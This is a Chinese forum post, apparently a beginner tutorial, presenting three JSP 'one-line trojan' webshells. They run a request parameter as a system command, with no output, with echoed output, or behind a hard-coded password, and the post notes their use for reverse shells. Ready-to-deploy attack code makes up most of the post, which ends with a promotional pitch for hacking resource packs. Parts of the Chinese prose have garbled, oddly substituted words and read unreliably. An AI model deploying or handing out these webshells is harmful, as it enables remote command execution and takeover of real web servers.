java安全——jsp一句话木马

铁佛  金牌会员 | 2024-8-22 20:52:50 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 987|帖子 987|积分 2961

jsp回显一句话木马

文章目次



  • jsp回显一句话木马
  • 一、搭建web服务
    1. * 1、创建空白maven项目,搭建本地tomcat
    复制代码

    • 2、引入servlet的pom依赖

  • 二、无回显一句话
  • 三、带回显一句话
  • 三、有密码带回显一句话

提示:以下是本篇文章正文内容,下面案例可供参考
一、搭建web服务

1、创建空白maven项目,搭建本地tomcat



2、引入servlet的pom依赖


二、无回显一句话

  1. <%
  2.     Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
  3. %>
复制代码
http://localhost:8003/index.jsp?cmd=whoami
不会回显执行的效果只能在配景打印一个地点,常用来反弹shell

三、带回显一句话

代码如下(示例):
  1.   <%
  2.     Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
  3. //    System.out.println(process);
  4.     InputStream inputStream = process.getInputStream();
  5.     BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
  6.     String line;
  7.     while ((line = bufferedReader.readLine()) != null){
  8.       response.getWriter().println(line);
  9.     }
  10.   %>
复制代码


三、有密码带回显一句话

  1.   <%
  2.     if ("password".equals(request.getParameter("pass"))){
  3.       Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
  4. //    System.out.println(process);
  5.       InputStream inputStream = process.getInputStream();
  6.       BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
  7.       String line;
  8.       while ((line = bufferedReader.readLine()) != null){
  9.         response.getWriter().println(line);
  10.       }
  11.     }
  12.   %>
复制代码

最后

从期间发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同砚们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,本领越强时机才越多。
由于入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我包管知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。
干货主要有:
①1000+CTF历届题库(主流和经典的应该都有了)
②CTF技术文档(最全中文版)
③项目源码(四五十个有趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗透测试方面的视频(得当小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ CTF/渗透测试工具镜像文件大全
⑦ 2023密码学/隐身术/PWN技术手册大全
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

铁佛

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表